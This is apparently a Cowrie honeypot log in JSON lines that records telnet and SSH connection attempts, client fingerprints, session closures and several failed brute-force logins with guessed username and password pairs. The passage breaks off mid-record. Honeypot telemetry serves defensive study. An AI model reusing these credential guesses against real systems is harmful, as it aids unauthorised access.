{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53686,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fea3ff29e05","protocol":"telnet","message":"New connection: 192.119.13.58:53686 (10.17.0.5:23) [session: 1fea3ff29e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:56.306676Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":54600,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ac435bcc3b8","protocol":"ssh","message":"New connection: 45.78.204.254:54600 (10.17.0.5:22) [session: 5ac435bcc3b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:59.983751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:59.989065Z","src_ip":"45.78.204.254","session":"5ac435bcc3b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:00.221267Z","src_ip":"45.78.204.254","session":"5ac435bcc3b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38358,"dst_ip":"10.17.0.5","dst_port":23,"session":"9133daf77f8c","protocol":"telnet","message":"New connection: 192.119.13.58:38358 (10.17.0.5:23) [session: 9133daf77f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:00.467469Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Linux2026","message":"login attempt [root/Linux2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:01.177669Z","src_ip":"45.78.204.254","session":"5ac435bcc3b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44628,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6be2c932718","protocol":"telnet","message":"New connection: 192.119.13.58:44628 (10.17.0.5:23) [session: d6be2c932718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:01.378812Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45434,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e2cf3898828","protocol":"telnet","message":"New connection: 192.119.13.58:45434 (10.17.0.5:23) [session: 1e2cf3898828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:01.618606Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47742,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dfe3ca3b626","protocol":"telnet","message":"New connection: 192.119.13.58:47742 (10.17.0.5:23) [session: 2dfe3ca3b626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:02.415471Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:02.421411Z","src_ip":"45.78.204.254","session":"5ac435bcc3b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.04920768737793,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:02.537247Z","src_ip":"192.119.13.58","session":"3e81228ca10b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54220,"dst_ip":"10.17.0.5","dst_port":23,"session":"6008a1acd36b","protocol":"telnet","message":"New connection: 192.119.13.58:54220 (10.17.0.5:23) [session: 6008a1acd36b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:04.496360Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56046,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cdc76d275db","protocol":"telnet","message":"New connection: 192.119.13.58:56046 (10.17.0.5:23) [session: 9cdc76d275db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:05.056834Z"}
{"eventid":"cowrie.session.closed","duration":3.22043776512146,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:05.635799Z","src_ip":"192.119.13.58","session":"2dfe3ca3b626","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.41299343109131,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:06.188951Z","src_ip":"192.119.13.58","session":"0de8022813f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60648,"dst_ip":"10.17.0.5","dst_port":23,"session":"67a9a468b249","protocol":"telnet","message":"New connection: 192.119.13.58:60648 (10.17.0.5:23) [session: 67a9a468b249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:06.532972Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":58616,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fc81bfecd38","protocol":"ssh","message":"New connection: 193.32.162.145:58616 (10.17.0.5:22) [session: 0fc81bfecd38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:08.247222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:08.252776Z","src_ip":"193.32.162.145","session":"0fc81bfecd38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:08.360466Z","src_ip":"193.32.162.145","session":"0fc81bfecd38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:08.685017Z","src_ip":"193.32.162.145","session":"0fc81bfecd38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:09.798772Z","src_ip":"193.32.162.145","session":"0fc81bfecd38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.57414436340332,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:10.781025Z","src_ip":"192.119.13.58","session":"adc1098a684d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.601407527923584,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:13.455401Z","src_ip":"192.119.13.58","session":"c308c10c9114","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.93384599685669,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:15.690225Z","src_ip":"192.119.13.58","session":"c026cb95de21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41756,"dst_ip":"10.17.0.5","dst_port":23,"session":"de74f6e0a9a2","protocol":"telnet","message":"New connection: 192.119.13.58:41756 (10.17.0.5:23) [session: de74f6e0a9a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:18.304387Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43762,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d771b7ae347","protocol":"telnet","message":"New connection: 192.119.13.58:43762 (10.17.0.5:23) [session: 9d771b7ae347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:18.971455Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.39.208.26","src_port":41596,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a464c4fcf78","protocol":"ssh","message":"New connection: 193.39.208.26:41596 (10.17.0.5:22) [session: 4a464c4fcf78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:27.553481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:27.558546Z","src_ip":"193.39.208.26","session":"4a464c4fcf78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:27.641845Z","src_ip":"193.39.208.26","session":"4a464c4fcf78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Linux2026","message":"login attempt [root/Linux2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:28.008304Z","src_ip":"193.39.208.26","session":"4a464c4fcf78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45962,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c4690b7ce14","protocol":"telnet","message":"New connection: 192.119.13.58:45962 (10.17.0.5:23) [session: 4c4690b7ce14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:29.010821Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:29.096699Z","src_ip":"193.39.208.26","session":"4a464c4fcf78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58484,"dst_ip":"10.17.0.5","dst_port":23,"session":"60ecde034286","protocol":"telnet","message":"New connection: 192.119.13.58:58484 (10.17.0.5:23) [session: 60ecde034286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:31.552347Z"}
{"eventid":"cowrie.session.closed","duration":31.608747005462646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:32.076106Z","src_ip":"192.119.13.58","session":"9133daf77f8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.0002760887146,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:32.306826Z","src_ip":"192.119.13.58","session":"1fea3ff29e05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.716362953186035,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:32.807534Z","src_ip":"192.119.13.58","session":"ba59433ed8b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.785099029541016,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:34.326857Z","src_ip":"192.119.13.58","session":"268b10f74bba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.29788589477539,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:35.487288Z","src_ip":"192.119.13.58","session":"d722ff3a16a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45288,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d8e83213576","protocol":"telnet","message":"New connection: 192.119.13.58:45288 (10.17.0.5:23) [session: 0d8e83213576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:35.743174Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47334,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1e6e53ad268","protocol":"telnet","message":"New connection: 192.119.13.58:47334 (10.17.0.5:23) [session: a1e6e53ad268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:36.320105Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49596,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5e6df10781b","protocol":"telnet","message":"New connection: 192.119.13.58:49596 (10.17.0.5:23) [session: d5e6df10781b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:36.951193Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52618,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d2bce4cda8d","protocol":"telnet","message":"New connection: 192.119.13.58:52618 (10.17.0.5:23) [session: 0d2bce4cda8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:37.848034Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59770,"dst_ip":"10.17.0.5","dst_port":23,"session":"67aa0fde8ac6","protocol":"telnet","message":"New connection: 192.119.13.58:59770 (10.17.0.5:23) [session: 67aa0fde8ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:39.968584Z"}
{"eventid":"cowrie.session.closed","duration":39.91110324859619,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:44.407372Z","src_ip":"192.119.13.58","session":"6008a1acd36b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.54133415222168,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:44.680178Z","src_ip":"186.195.16.41","session":"8e973dcb3b5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.82866024971008,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:45.361503Z","src_ip":"192.119.13.58","session":"67a9a468b249","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":34430,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed1e59ec3853","protocol":"telnet","message":"New connection: 186.195.16.41:34430 (159.203.135.109:23) [session: ed1e59ec3853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:45.667319Z"}
{"eventid":"cowrie.session.closed","duration":45.24094080924988,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:46.859217Z","src_ip":"192.119.13.58","session":"1e2cf3898828","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.24208950996399,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:48.620756Z","src_ip":"192.119.13.58","session":"d6be2c932718","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.870309591293335,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:50.926985Z","src_ip":"192.119.13.58","session":"9cdc76d275db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.917670249938965,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:51.221921Z","src_ip":"192.119.13.58","session":"de74f6e0a9a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.53694772720337,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:56.508275Z","src_ip":"192.119.13.58","session":"9d771b7ae347","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47944,"dst_ip":"10.17.0.5","dst_port":23,"session":"7afb6aa1d538","protocol":"telnet","message":"New connection: 192.119.13.58:47944 (10.17.0.5:23) [session: 7afb6aa1d538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:27:59.803391Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":43356,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebd8fb4cc78e","protocol":"ssh","message":"New connection: 109.237.96.109:43356 (10.17.0.5:22) [session: ebd8fb4cc78e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:01.543718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:01.550848Z","src_ip":"109.237.96.109","session":"ebd8fb4cc78e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:01.642598Z","src_ip":"109.237.96.109","session":"ebd8fb4cc78e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57008,"dst_ip":"10.17.0.5","dst_port":23,"session":"9597884c0625","protocol":"telnet","message":"New connection: 192.119.13.58:57008 (10.17.0.5:23) [session: 9597884c0625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:02.047831Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhfcjnrf","message":"login attempt [root/rhfcjnrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:02.233675Z","src_ip":"109.237.96.109","session":"ebd8fb4cc78e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.73.108","src_port":54600,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb9b69d584e9","protocol":"ssh","message":"New connection: 49.51.73.108:54600 (10.17.0.5:22) [session: fb9b69d584e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:02.938078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:02.943259Z","src_ip":"49.51.73.108","session":"fb9b69d584e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp5